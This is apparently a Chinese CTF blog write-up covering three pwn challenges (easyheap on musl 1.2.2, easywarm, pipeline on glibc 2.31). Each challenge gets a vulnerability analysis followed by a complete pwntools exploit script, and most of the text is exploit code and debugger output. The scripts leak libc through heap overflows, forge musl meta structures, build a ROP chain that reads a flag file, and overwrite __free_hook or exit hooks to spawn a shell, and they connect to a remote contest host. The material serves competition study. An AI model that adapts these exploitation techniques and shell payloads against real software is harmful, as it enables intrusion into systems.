pop_rax_ret = libc_base+0x000000000001b500 pop_rdi_ret = libc_base+0x000000000002164f pop_rsi_ret = libc_base+0x0000000000023a6a pop_rdx_ret = libc_base+0x0000000000001b96 syscall_ret = libc_base+0x00000000000d2625 add(0x200 ) payload = "b" *0x1d8 +p64(0x100 )+p64(stack_base+0x1fc48 ) edit(1 ,payload) payload = "" payload += p64(pop_rax_ret) + p64(2 ) payload += p64(pop_rdi_ret) + p64(stack_base+0x1fd20 ) payload += p64(pop_rsi_ret) + p64(0 ) payload += p64(pop_rdx_ret) + p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(0 ) payload += p64(pop_rdi_ret) + p64(3 ) payload += p64(pop_rsi_ret) + p64(stack_base+0x1fd20 ) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(1 ) payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(stack_base+0x1fd20 ) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) payload += "./flag\x00" add(0x108 ) add(0x108 ) edit(5 ,payload) p.interactive()
easyheap 1 2 3 4 5 6 easyheap: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序给了一个 libc.so,一番查找后发现这是一个 musl libc:
1 2 3 4 5 ➜ pwn ./libc.so musl libc (x86_64) Version 1.2.2 Dynamic Program Loader Usage: ./libc.so [options] [--] pathname [args]
PS:musl 只有一个 libc,即作为 libc 也是 ld
对于 musl libc,patchelf 是无效的,需要将题目提供的 libc.so 复制到对应的目录:
1 cp libc.so /usr/lib/x86_64-linux-musl/libc.so
程序分析
想要开启程序核心功能必须先逆向解密:
1 2 3 4 5 6 7 8 9 10 do { data = *codep; keyp += 2 ; ++codep; sprintf (keyp, "%02x" , (unsigned __int8)data ^ 0x23 u); } while ( keyp != (char *)&zero );if ( key[0 ] ^ 0x3036323130313437 LL | key[1 ] ^ 0x6337303165363331 LL || key[2 ] ^ 0x3237633763343735 LL | key[3 ] ^ 0x3231313131363437 LL )
脚本如下:
1 2 3 4 5 6 7 8 9 key=[0x3036323130313437 ,0x6337303165363331 ,0x3237633763343735 ,0x3231313131363437 ] for i in key: num = i for j in range (4 ): key = "" for k in range (2 ): key += chr ((num % 0x100 )) num = num // 0x100 print (chr (eval ("0x" +key)^0x23 ),end="" )
函数 Prepare 提供了4种核心功能:
1 2 3 4 5 .data:0000000000204300 90 18 00 00 00 00 00 00 90 14 +funcs dq offset add ; DATA XREF: Prepare+230 ↑o .data:0000000000204300 00 00 00 00 00 00 70 15 00 00 + ; Prepare+23 C↑r .data:0000000000204300 00 00 00 00 00 1 A 00 00 00 00 +dq offset dele .data:0000000000204300 00 00 dq offset show .data:0000000000204300 dq offset edit
add:输入 size 作为 num 的个数,然后输入 size 个 num,申请 (num+1)*4
大小的 chunk,以4字节为单位将数据写入 chunk,最后调用 get_op
依次遍历这些数字,并依次随机选择四则运算中的一个运算操作符进行运算,将运算结果填充到最后一个数字槽中
edit:重新输入 size 个 num,调用 get_op
进行计算,并将结果写回(位置错误)
函数 Challenge 需要对最后一个随机生成的数字进行猜测,程序对每一次猜测提供了两次 Silver Finger 和全局两次 Golden Finger 的功能:
Silver Finger 只会允许跳过当前级别对数字的猜测
Golden Finger 会根据用户输入的数字的数量,得到最终正确答案的数字
漏洞分析
函数 add 执行结果回写的代码:
1 2 data = &node->chunk[size + 1 - 1 ]; *data = get_op(chunk, size);
函数 edit 执行结果回写的代码:
1 2 sizea = size + 1 ; chunk[sizea] = get_op(chunk, sizea);
打印数据时,会输出38字节,但是 info.header->name
的值可能小于38字节:
1 2 printf ("# Name: %-38s #\n" , (const char *)&info.header->name);printf ("# Level: %-38d#\n" , **(unsigned int **)((char *)&info.header->level + info.header->size));
1 2 puts ("Input your name!" );readn(info.header->name, len);
输入 num 时没有进行限制,导致可以将 heap 上的任意数据写入 mmapg
1 2 3 num = input_num(); ...... mmapg[index] = chunk[num];
libc musl
musl 把 chunk 大小分为48类,用 size_to_class 进行计算(与 *active[48]
对应)
mallocng 在分配 meta 时,总是先分配一页的内存,然后划分为多个 meta 区域,而该页的最开始存放的就是 meta_area(这一页的内存用于管理 chunk)
1 2 3 4 5 6 struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; };
1 2 3 4 5 6 7 8 9 struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx:5 ; uintptr_t freeable:1 ; uintptr_t sizeclass:6 ; uintptr_t maplen:8 *sizeof (uintptr_t )-12 ; };
多个相同大小的 chunk(物理相邻)以及一些控制信息会组成 group
1 2 3 4 5 6 struct group { struct meta *meta ; unsigned char active_idx:5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; };
chunk 没有专门在代码中定义,但总体结构如下:
1 2 3 4 5 6 struct chunk { char prev_user_data[]; uint8_t idx; uint16_t offset; char user_data[]; };
测试案例:
1 2 3 add([1 ]*6 ) add([2 ]*6 ) add([3 ]*6 )
可以在 GDB 中打印此数据:
1 2 3 4 5 6 7 8 pwndbg> x/20 xw 0x555555604cc0 0x555555604cc0 : 0x556060e0 0x00005555 0x0000000e 0x00000000 0x555555604cd0 : 0x00000001 0x00000001 0x00000001 0x00000001 0x555555604ce0 : 0x00000001 0x00000001 0xffffffff 0x00020100 0x555555604cf0 : 0x00000002 0x00000002 0x00000002 0x00000002 0x555555604d00 : 0x00000002 0x00000002 0xfffffffa 0x00040200 0x555555604d10 : 0x00000003 0x00000003 0x00000003 0x00000003 0x555555604d20 : 0x00000003 0x00000003 0x0000000f 0x00000000
1 2 3 4 5 6 7 8 pwndbg> x/20 xw 0x555555604cc0 0x555555604cc0 : 0x00000000 0x00000000 0x0000000e 0x0000ff00 0x555555604cd0 : 0x00000001 0x00000001 0x00000001 0x00000001 0x555555604ce0 : 0x00000001 0x00000001 0x00000002 0x0000ff00 0x555555604cf0 : 0x00000002 0x00000002 0x00000002 0x00000002 0x555555604d00 : 0x00000002 0x00000002 0x00000010 0x0000ff00 0x555555604d10 : 0x00000003 0x00000003 0x00000003 0x00000003 0x555555604d20 : 0x00000003 0x00000003 0xfffffffd 0x00000000
前6个数据是输入的 num,第7个数据是计算的结果,第8个数据就是 idx offset
musl 中的 unlink 依赖与如下的函数,本身缺乏检查:
1 2 3 4 5 6 7 8 9 10 11 static inline void dequeue (struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0 ; } m->prev = m->next = 0 ; }
dequeue
函数的触发条件如下:
队列不能为空
队列的头指针不能为空
队列中至少有一个元素
入侵思路
现在有4字节的溢出,可以覆盖 chunk->idx,offset
,不过首先需要利用溢出泄露 libc_base:
1 2 3 4 5 6 7 8 9 10 11 12 13 prepare() add([0xFFFFFFFF ]*20 ) dele(0 ) add([0x0 ]*3 ) exit() challenge([0x0 ], "d" * 0x18 , True ) pause() show() ru('\xff' *0x18 ) leak_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = leak_addr - 0xb7870 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base))
1 2 3 4 5 6 pwndbg> telescope 0x7ffff7ffec78 00 :0000 │ rsi 0x7ffff7ffec78 ◂— 0x6464646464646464 ('dddddddd' )... ↓ 2 skipped 03 :0018 │ 0x7ffff7ffec90 ◂— 0xffffffffffffffff ... ↓ 2 skipped 06 :0030 │ 0x7ffff7ffeca8 —▸ 0x7ffff7ffe870 ◂— 0x1
由于 meta 所在页与 group 所在页分离,想要伪造 meta,就必须要泄露 secret:
1 mmapg[index] = chunk[num];
由于 num 没有限制,因此可以将 heap 上的 secret 写入 mmapg
1 2 3 4 prepare() add([0x0 ]*3 ) exit() challenge([("whos_your_daddy" , 1228 ),("whos_your_daddy" , 1221 )])
接下来就是布置堆风水,将当前堆块的最后 4 个字节设置为 0xdeadbeef010,通过 4 字节溢出将下一个堆块的 offset 值设置为 0
释放下一个 chunk,将 meta 劫持到 0xdeadbeef010 处,然后程序会执行 dequeue
将 fake meta unlink,在此处会触发一次 WAA 任意写,我们的目标就是劫持 musl IO 并执行 system
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 from signal import pausefrom pwn import *arch = 64 challenge = './easyheap' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x1528)\nb *$rebase(0x1AC6)\n" ) def cmd (op ): sla(">>" ,str (op)) def prepare (): cmd(1 ) sla("Code: " ,"W31C0M3_to_QWB21" ) def add (nums ): sla("$ " , "QWB_Cr34t3" ) sla("need?" , str (len (nums))) for idx,n in enumerate (nums): sla("num" , str (n)) def edit (idx, nums ): sla("$ " , "QWB_M0d1Fy" ) sla("modify?" , str (idx)) for idx, n in enumerate (nums): sla("num" , str (n)) def dele (idx ): sla("$ " , "QWB_D3l3Te" ) sla("delete?" , str (idx)) def show (): sla(">>" , "3" ) def exit (): sla("$ " , "QWB_G00dBye" ) def challenge (answers, name=None , wait=False ): sla(">>" , "2" ) for ans in answers: if wait: time.sleep(0.1 ) if type (ans) == int : sla("answer: " , str (ans)) else : hint, nums = ans sla("answer: " , hint) if hint == "whos_your_daddy" : sla("Input:" , str (nums)) if name is None : return sla("name?" , str (len (name))) sa("name!" , name) prepare() add([0xFFFFFFFF ]*20 ) dele(0 ) add([0x0 ]*3 ) exit() challenge([0x0 ], "d" * 0x18 , True ) show() ru('\xff' *0x18 ) leak_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = leak_addr - 0xb7870 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) prepare() add([0x0 ]*3 ) exit() challenge([("whos_your_daddy" , 1228 ),("whos_your_daddy" , 1221 )]) prepare() for i in range (9 ): dele(i) for i in range (3 ): add([0x0 ] * 14 ) edit(1 , [0 ] * 12 + [0xdbeef010 , 0xdea , 0x0 ]) system = libc_base + 0x50a90 add([0x6e69622f , 0x68732f ] + [0x0 ] * 8 + [0xdeadbeef , 0x0 , 0x0 , 0x0 , 0xbeefdead , 0x0 , 0x0 , 0x0 , system & 0xffffffff , system >> 32 ]) for i in range (10 ): add([0x0 ] * 14 ) exit() stdout = libc_base + 0xb4280 base_address = libc_base + 0xb7a90 stdout_ptr = system + 0x63920 fake_chunk = libc_base + 0xb7cc0 success("base_address >> " +hex (base_address)) success("system >> " +hex (system)) success("fake_chunk >> " +hex (fake_chunk)) success("stdout_ptr >> " +hex (stdout_ptr)) success("break_addr >> " +hex (libc_base + 0x2AB17 )) maplen = 1 freeable = 1 last_value = (20 << 6 ) | (1 << 5 ) | 1 | (0xfff << 12 ) challenge([("next_next" , 0 ), ("next_next" , 0 ), 0x0 , 0x0 , fake_chunk & 0xffffffff , fake_chunk >> 32 , stdout_ptr & 0xffffffff , stdout_ptr >> 32 , base_address & 0xffffffff , base_address >> 32 , 0x2 , 0x0 , last_value & 0xffffffff , last_value >> 32 ]) prepare() dele(2 ) exit() sla(">>" , "4" ) p.interactive()
easywarm 1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.2 ) stable release version 2.31.
1 2 3 4 5 6 easywarm: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=e708c2433f22dc346ad3b92573800150c429996f, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
漏洞分析
程序总体上是实现了一个走迷宫的小游戏,漏洞比较难找
1 2 3 4 5 6 7 if ( sizeg / numg > 15 && sizeg / numg <= 32 ){ for ( i = 0 ; i < sizeg / numg / 2 ; ++i ) v3 = 2 * v3 + 1 ; v2 = v3 & (unsigned __int64)&v2; printf ("flag: %lu\n" , v3 & (unsigned __int64)&v2); }
程序设置了一个可疑的中断处理:
1 signal(8 , (__sighandler_t )hander2);
1 2 3 4 memcpy (*(void **)(key_buf.argv + 8 ), "666" , 3uLL );memset (s, 0 , 0x100 uLL);readlink("/proc/self/exe" , s, 0xFF uLL); execve(s, (char *const *)key_buf.argv, (char *const *)key_buf.env);
找了半天也没弄懂该如何触发,最后在 nowork 中发现了端倪:(有一个除0操作被优化了)
1 2 3 puts ("This is a gift for you ^_^ ~" );puts ("# system(\"/aidai/ash\"); exists here." );puts ("# I think you must be able to get flag." );
另外程序还有一处溢出:
1 2 memset (&key_buf, 0 , sizeg / numg / 2 + 80 );readn(&key_buf, sizeg / numg / 2 + 80 );
入侵思路
为了触发 stack_addr 泄露,必须先解决迷宫问题:
提取迷宫数据时往往会因为单位字符的长度不同而提取出错,这里我选择用正则表达式解决这个问题
1 2 3 4 5 6 7 8 9 maze = [] ru("\n" ) for i in range (30 ): data = ru("\n" )[2 :-2 ] data = re.sub("🚩" ,"7" ,data) data = re.sub("👴" ,"3" ,data) data = re.sub(" " ,"1" ,data) data = re.sub("██" ,"0" ,data) maze.append(data)
走迷宫的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 def solve (v ): v = ['0' * len (v[0 ])] + v + ['0' * len (v[0 ])] v = ['0' + i + '0' for i in v] v = [list (i) for i in v] x0, y0 = 0 , 0 for x in range (len (v)): for y in range (len (v[0 ])): if v[x][y] == '3' : x0, y0 = x, y v[x0][y0] = '1' ans = [] def dfs (ans, v, x, y ): if v[x][y] == '7' : return True if v[x][y] != '1' : return False v[x][y] = '0' action = [ ['w' , x-1 , y], ['s' , x+1 , y], ['a' , x, y-1 ], ['d' , x, y+1 ], ] for ch, xx, yy in action: ans += [ch] ok = dfs(ans, v, xx, yy) if ok: return True ans.pop() return False ok = dfs(ans, v, x0, y0) return ok, '' .join(ans) name = "LD_DEBUG=all" sla("name: " ,name)
泄露栈地址后4字节后,配合2字节溢出覆盖 key_buf.env 低位,可以劫持环境变量到我们输入 name 的地方
看 wp 得知,设置环境变量 LD_DEBUG=all
(12字节) 可以打印出 ld.so 加载库的时候的 log,因此可以得到 libc 的加载地址,效果如下:
1 2 3 4 13304 : file=./libc-2.31 .so [0 ]; needed by ./easywarm1 [0 ]13304 : file=./libc-2.31 .so [0 ]; generating link map 13304 : dynamic: 0x00007ffff7fbfb80 base: 0x00007ffff7dd5000 size: 0x00000000001f14d8 13304 : entry: 0x00007ffff7dfc1f0 phdr: 0x00007ffff7dd5040 phnum: 14
最后就是一个 libc 任意写,尝试打 exit_hook:
1 2 3 4 5 pwndbg> p rtld_lock_default_lock_recursive $1 = {void (void *)} 0x7ffff7fd0150 <rtld_lock_default_lock_recursive> pwndbg> search -t qword 0x7ffff7fd0150 Searching for value: b' P\x01\xfd\xf7\xff\x7f\x00\x00' ld-2.31 .so 0x7ffff7ffdf68 0x7ffff7fd0150
PS:从 wp 中学到的,打 __libc_atexit
也是个不错的选择
1 2 3 4 5 6 __libc_atexit:00000000001 ED608 __libc_atexit segment qword public 'DATA' use64 __libc_atexit:00000000001 ED608 assume cs:__libc_atexit __libc_atexit:00000000001 ED608 ;org 1 ED608h __libc_atexit:00000000001 ED608 E0 5 E 09 00 00 00 00 00 off_1ED608 dq offset fcloseall_0 ; DATA XREF: sub_49930+1 DA↑o __libc_atexit:00000000001 ED608 ; sub_5EED0+1672 ↑o __libc_atexit:00000000001 ED608 ; sub_5EED0+1E37 ↑o
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 from pwn import *import rearch = 64 challenge = './easywarm1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.31.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process([challenge,"000" ]) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x180A)\n" ) pause() def cmd (op ): sla("[-]" ,str (op)) def add (num,size ): cmd(1 ) sla(" complexity: " ,str (num)) sla("length: " ,str (size)) def show (): cmd(4 ) def free (): cmd(5 ) def challenge (data ): cmd(3 ) sla("input: " ,data) def magic (): cmd(0x666 ) def solve (v ): v = ['0' * len (v[0 ])] + v + ['0' * len (v[0 ])] v = ['0' + i + '0' for i in v] v = [list (i) for i in v] x0, y0 = 0 , 0 for x in range (len (v)): for y in range (len (v[0 ])): if v[x][y] == '3' : x0, y0 = x, y v[x0][y0] = '1' ans = [] def dfs (ans, v, x, y ): if v[x][y] == '7' : return True if v[x][y] != '1' : return False v[x][y] = '0' action = [ ['w' , x-1 , y], ['s' , x+1 , y], ['a' , x, y-1 ], ['d' , x, y+1 ], ] for ch, xx, yy in action: ans += [ch] ok = dfs(ans, v, xx, yy) if ok: return True ans.pop() return False ok = dfs(ans, v, x0, y0) return ok, '' .join(ans) name = "LD_DEBUG=all" sla("name: " ,name) add(1 ,28 ) show() maze = [] ru("\n" ) for i in range (30 ): data = ru("\n" )[2 :-2 ] data = re.sub("🚩" ,"7" ,data) data = re.sub("👴" ,"3" ,data) data = re.sub(" " ,"1" ,data) data = re.sub("██" ,"0" ,data) maze.append(data) for i in maze: print (i) ok,ans = solve(maze) if len (ans)>96 : exit() challenge(ans) ru("flag: " ) leak_addr = eval (ru("\n" )) success("leak_addr >> " +hex (leak_addr)) add(1 ,32 ) payload = "a" *96 +p16(leak_addr+136 ) challenge(payload) magic() ru(" dynamic: " ) leak_addr = eval (ru(" " )[:-1 ])*0x10 libc_base =leak_addr - 0x1eab80 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) system = libc_base + libc.sym["system" ] one_gadgets = [0xe6aee ,0xe6af1 ,0xe6af4 ] one_gadget = libc_base + one_gadgets[0 ] exit_hook = libc_base + 0x228f68 success("one_gadget >> " +hex (one_gadget)) success("exit_hook >> " +hex (exit_hook)) offset = exit_hook - 0xadad000 success("offset >> " +hex (offset)) ru("Administrator mode" ) sa("error?" ,p64(offset)) success("one_gadget >> " +hex (one_gadget)) sla("to record?" ,p64(one_gadget)+"a" *8 ) p.interactive()
pipeline 1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.2 ) stable release version 2.31.
1 2 3 4 5 6 pipeline: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=1660 ac5f889c59866adfdd8ab506d59e2951e03a, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
漏洞分析
程序对 size 大小有检查:(导致不能使用 mmap 进行分配)
1 2 3 chunkg = malloc (0x10 uLL); *chunkg = chunkg + 2 ; chunkg[1 ] = 0x21000 LL;
1 2 3 4 5 if ( a1 < *chunkg || (result = *chunkg + chunkg[1 ], a1 >= result) ){ puts ("error" ); exit (0 ); }
程序对 offset 也有检查:(导致 offset 不能为负数)
1 2 if ( (signed int )chunk->offset >= chunk->size || (chunk->offset & 0x80000000 ) != 0 ) chunk->offset = 0 ;
整数溢出导致堆溢出:
1 2 3 4 size2 = chunk->size - chunk->offset; if ( size <= size2 ) LOWORD(size2) = size; readn((__int64)chunk->data + (int )chunk->offset, (__int16)size2);
chunk->offset 是 unsigned int 类型,但 readn 中将其识别为 int
在 LOWORD(size2) = size
中,4字节的 size2 只有低2字节被覆盖,可能导致堆溢出
如果我们输入 0x80000200(负数),程序就会进入 if 语句,但最终只有 0x200 被覆盖到 size2
入侵思路
程序没有 free,只有一个 realloc 可以利用:
1 2 3 chunk->offset = input_num("offset: " ); chunk->size = input_num("size: " ); chunk->data = realloc_s(chunk->data, chunk->size);
申请一个大堆块,然后 realloc 一个更大的堆块,配合堆风水就可以泄露 libc_base 和 heap_base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 add() add() add() add() add() add2(0 ,0 ,0x450 ) add() add2(1 ,0 ,0x460 ) add2(0 ,0 ,0x500 ) add2(2 ,0 ,0x10 ) show(2 ) ru("data: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x1ebfe0 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) add2(1 ,0 ,0x500 ) add2(3 ,0 ,0x430 ) add2(4 ,0 ,0x40 ) edit(4 ,0x10 ,"a" *0x10 ) show(4 ) ru("data: " ) ru("aaaaaaaaaaaaaaaa" ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) heap_base = leak_addr - 0x7d0 success("leak_addr >> " +hex (leak_addr)) success("heap_base >> " +hex (heap_base))
由于程序的限制不能直接劫持 tcache,因此需要劫持程序的单链表结构,然后直接修改 free_hook 即可
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *arch = 64 challenge = './pipeline1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.31.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x188A)\n" ) def cmd (op ): sla(">> " ,str (op)) def add (): cmd(1 ) def add2 (index,offset,size ): cmd(2 ) sla("index: " ,str (index)) if type (offset) == int : sla("offset: " ,str (offset)) else : sla("offset: " ,offset) if type (size) == int : sla("size: " ,str (size)) else : sla("size: " ,size) def dele (index ): cmd(3 ) sla("index: " ,str (index)) def edit (index,size,data ): cmd(4 ) sla("index: " ,str (index)) if type (size) == int : sla("size: " ,str (size)) else : sla("size: " ,size) sla("data: " ,data) def show (index ): cmd(5 ) sla("index: " ,str (index)) add() add() add() add() add() add2(0 ,0 ,0x450 ) add() add2(1 ,0 ,0x460 ) add2(0 ,0 ,0x500 ) add2(2 ,0 ,0x10 ) show(2 ) ru("data: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x1ebfe0 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) add2(1 ,0 ,0x500 ) add2(3 ,0 ,0x430 ) add2(4 ,0 ,0x40 ) edit(4 ,0x10 ,"a" *0x10 ) show(4 ) ru("data: " ) ru("aaaaaaaaaaaaaaaa" ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) heap_base = leak_addr - 0x7d0 success("leak_addr >> " +hex (leak_addr)) success("heap_base >> " +hex (heap_base)) free_hook = libc_base + libc.sym["__free_hook" ] system = libc_base + libc.sym["system" ] add() add2(6 ,0 ,0x3f0 ) add2(5 ,0 ,0x100 ) add() payload = "a" *0x108 +p64(0x21 )+p64(free_hook-0x8 )+p64(0x50000000000 ) edit(5 ,"-2147483136" ,payload) payload = "/bin/sh\x00" + p64(system) edit(7 ,0x20 ,payload) edit(0 ,0x10 ,"/bin/sh\x00" ) add2(0 ,0 ,0 ) p.interactive()